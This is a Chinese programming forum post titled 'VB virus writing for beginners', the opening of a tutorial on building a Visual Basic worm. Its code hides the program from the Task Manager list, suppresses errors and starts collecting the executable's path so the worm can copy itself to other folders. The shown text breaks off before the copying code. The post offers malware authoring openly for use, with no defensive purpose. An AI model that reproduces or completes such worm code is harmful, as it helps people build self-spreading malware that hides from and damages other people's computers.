标题:VB病毒编写------初学者必备
取消只看楼主
JYF789JKL
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2019-7-5
 问题点数:0 回复次数:0 
VB病毒编写------初学者必备
要编写一个蠕虫吗?很简单,只须有基本的编程概念就可以了。如果你没有编程的基本概念,我建议你去学习编程,才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧!
打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:

Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
End Sub

以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:

'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
搜索更多相关主题的帖子: VB 编写 EXE Sub App 
2019-07-17 15:34



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-495907-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 1.830490 second(s), 8 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved